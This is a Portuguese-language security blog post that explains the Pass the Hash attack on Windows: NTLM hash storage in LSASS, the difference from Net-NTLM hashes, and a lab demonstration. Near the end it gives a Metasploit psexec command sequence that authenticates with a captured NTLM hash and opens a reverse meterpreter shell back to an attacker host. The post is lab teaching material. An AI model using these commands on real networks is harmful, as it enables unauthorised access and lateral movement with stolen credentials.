Entendendo o Ataque Pass the Hash

Fala galera, no post de hoje iremos falar sobre o ataque Pass The Hash utilizando o Metasploit. Esse post irá ser um adendo ao último post da série Responder, onde ficou faltando mostrar como utilizar o Hash NTLM obtido com o MultiRelay para acessar o PDC. Iremos ver como esse ataque funciona, aprender sobre os protocolos envolvidos, fluxo de ataque e etc. Esse não é um ataque novo, na verdade ele já é bem velho, mas ainda funciona 🙂 

Caso você ainda não tenha visto os outros posts, recomendo fortemente a leitura antes de continuar aqui. São uma série de três posts que falam exclusivamente sobre o Responder. Além desses posts, também recomendo o post sobre SMB Relay onde explico detalhadamente o ataque, e também vai ajudar bastante no entendimento desse post aqui. Mas o post onde eu falo exclusivamente sobre autenticação Microsoft é crucial para entender esse post afundo. Para checar acesse:

NTLM vs Net-NTLM! Afinal, quem é quem?

LLMNR / NBT-NS Poisoning Attack – Responder Parte 1

Brincando com WPAD, LDAP, FTP e SQL – Responder Parte 2

MultiRelay, Pivot e muito mais – Responder Parte 3

Entendendo o Ataque SMB Relay – NTLMv2

Senha é a ferramenta de segurança mais comum no mundo, senhas fortes são o aspecto de segurança da informação mais importante e senhas fracas são por outro lado a falha mais grave. Ataques de senhas, tais como password guessing e password cracking são ataques que consomem tempo. Ferramentas que usam hashes précomputados reduzem consideravelmente o tempo necessário para obtter as senhas. No entanto, existe o custo de armazenamento e o tempo consumido para gerar essas senhas que são bem elevados, especialmente se o algoritimo utilizado para gerar as senhas seja de complexidade alta. No ataque Pass The Hash o objetivo é usar o hash diretamente, sem precisar crackear ele.

Pass The Hash

Essa técnica não é nada nova, ele foi publicada pela primeira vez em 1997. No entando muitas pessoas não entendem muito bem como esse ataque funciona ou ainda nunca ouviram falar da existencia dele. Por isso vou tentar explicar da forma mais detalhada possível.

Como as senhas são armazenadas? Em alguns casos elas são armazenadas em texto claro ou criptografadas de forma reversível, ou ainda são são armazenadas em formato de hash em bases de dados ou em cache (memória). Uma função hash é um algoritimo que tem como objetivo receber um dado N de qualquer tamanho como entrada e gerar um valor X sempre de tamanho fixo. Alguns exemplos de algoritimos são o LM, NTLM (NT Lan Manager), MD4, MD5, SHA1, SHA2 e SHA3.

Hashes de senhas NTLM são equivalentes a senha em texto claro, se o atacante obter o hash NTLM ele pode simplesmente usá-lo para ter acesso ao sistema sem a necessidade de saber a senha em si. Vale lembrar que o ataque de Pass The Hash só é possível ser feito com o uso do hash NTLM, os hashes Net-NTLMv1/v2 são usados ​​para autenticação de rede e são derivados de um algoritmo de desafio/resposta, concluindo, você pode executar ataques Pass-The-Hash com hashes NTLM. Porém, você NÃO PODE executar ataques Pass The Hash com hashes Net-NTLM. Esse ataque é conhecido como Pass The Hash. Ele tenta usar o serviço de compartilhamento de arquivos e impressora do Windows, que opera sobre o protocolo SMB (Server Message Block), para se autenticar em outros hosts na rede. Esse método de ataque torna o comprometimento de outros hosts que compartilham a mesma credencial muito fácil. 

Ataques Pass The Hash são normalmente direcionados a sistemas Windows, entretanto ele pode ser encontrado em outros sistemas. No Windows o Pass The Hash depende da funcionalidade Single Sign-On (SSO) nos protocolos de autenticação como o NTLM e Kerberos. Com o SSO os usuários podem inserir suas senhas apenas uma vez e ser capaz de usar os recursos da rede que lhe foi dado direito sem ter que ficar colocando a senha de novo para cada acesso. Isso exige que o sistema tenha as credenciais em memória. Substituindo essas credenciais por hashes, as autenticações futuras irão usar esses hashes no lugar da credencial original.

O Windows armazena os hashes das senhas dos usuários através do utilitário Lsass em um local na memória sempre que um usuário loga localmente ou via terminal service. Esse local é acessível apenas para o sistema operacional e qualquer processo rodando como SYSTEM. O sistema operacional utiliza essas credenciais sempre que o usuário tenta acessar um recurso da rede que requer autenticação. Esse local de memória é limpo sempre que o usuário bloqueia a sessão ou faz logoff.

Os hashes das senhas são carregados no Lsass (Local Security Authority Subsystem). O Lsass roda como o executável %SystemRoot%\System32\Lsass.exe, que é responsável pela autenticação do usuário, além de outras coisas. Caso o atacante obtenha privilégios administrativos ele pode usar ferramentas de dump de hash para coletar os hashes do arquivo SAM ou os hashes que foram carregados na memória pelo Lsass e usar futuramente. Esse dump dos hashes é feito através da técnica de Lsass Injection.

Laboratório

Nosso ambiente de laboratório é é o mesmo utilizado nos posts sobre o Responder, ele é bem simples, mas também bem comum pelas redes a fora. É composto por um firewall, servidores (AD, SQL, HTTP, FTP e etc..) e os clientes da rede. A imagem abaixo ilustra bem:

Fase do Ataque

O módulo PSExec no Metasploit é frequentemente usado para obter acesso a um sistema no qual você já sabe as credenciais (texto claro ou hash). Frequentemente nós ganhamos acesso a um sistema através de um exploit e usamos o meterpreter ou outro método para pegar os hashes do host. Com o PSExec podemos se autenticar no alvo utilizando somente os hashes obtidos, sem precisar se preocupar em crackear eles com rainbowtables ou brute force.

Aqui nesse post eu vou retomar o ataque que demonstrei utilizando o MultiRelay do Responder, onde tive acesso a um servidor da rede mas não pude fazer o pivot para o PDC pois ele exigia a assinatura do SMB, porém capturei o hash NTLM de um usuário privilegiado com o Mimikatz. É justamente esse hash que iremos utilizar para realizar o ataque de Pass The Hash aqui.  O hash NTLM em questão era 8846F7EAEE8FB117AD06BDD830B7586C. Porém para utilizá-lo no PSExec nos precisamos passá-lo para o formato pwdump que é basicamente a concatenação do hash LM com o NTLM, um exemplo desse formato seria:

admin:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C

No nosso caso, como não sabemos o hash LM, basta repetir o hash NTLM ou adicionar 32 zeros no primeiro conjunto, isso é possível por que a partir do Windows 2003 somente o NTLM é usado por padrão. Abaixo eu mostro os comandos para carregar e configurar o módulo PSExec no Metasploit:

# msfconsole
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 10.0.0.4
msf exploit(psexec) > set LPORT 443
msf exploit(psexec) > set RHOST 10.0.0.100
msf exploit(psexec) > set SMBUser admin
msf exploit(psexec) > set SMBPass 8846F7EAEE8FB117AD06BDD830B7586C:8846F7EAEE8FB117AD06BDD830B7586C
msf exploit(psexec) > exploit

Bem pessoal é isso ai, espero que tenham curtido. Não preciso dizer que esse post tem fins educacionais apenas, não utilize esse conhecimento para fins maliciosos. Não esqueçam de curtir nossas páginas nas redes sociais, FacebookG+ e seguir o Guia do Ti no Twitter. Compartilhem e comentem esse artigo, isso é muito importante para divulgação do nosso trabalho.

Referências
https://en.wikipedia.org/wiki/LAN_Manager#LM_hash_details
https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283
https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/

 

Ricardo Galossi
Siga me

Ricardo Galossi

É um apaixonado por segurança da informação, atua profissionalmente há mais de 7 anos na área de tecnologia da informação, onde é focado em análise de vulnerabilidades e testes de invasão.Criou o blog Guia do TI para compartilhar conhecimento, ajudar os mais novos, incentivar debates e manter a comunidade atualizada com as principais notícias da área de TI.
Ricardo Galossi
Siga me

Últimos posts por Ricardo Galossi (exibir todos)

Ricardo Galossi

É um apaixonado por segurança da informação, atua profissionalmente há mais de 7 anos na área de tecnologia da informação, onde é focado em análise de vulnerabilidades e testes de invasão. Criou o blog Guia do TI para compartilhar conhecimento, ajudar os mais novos, incentivar debates e manter a comunidade atualizada com as principais notícias da área de TI.

Deixe seu comentário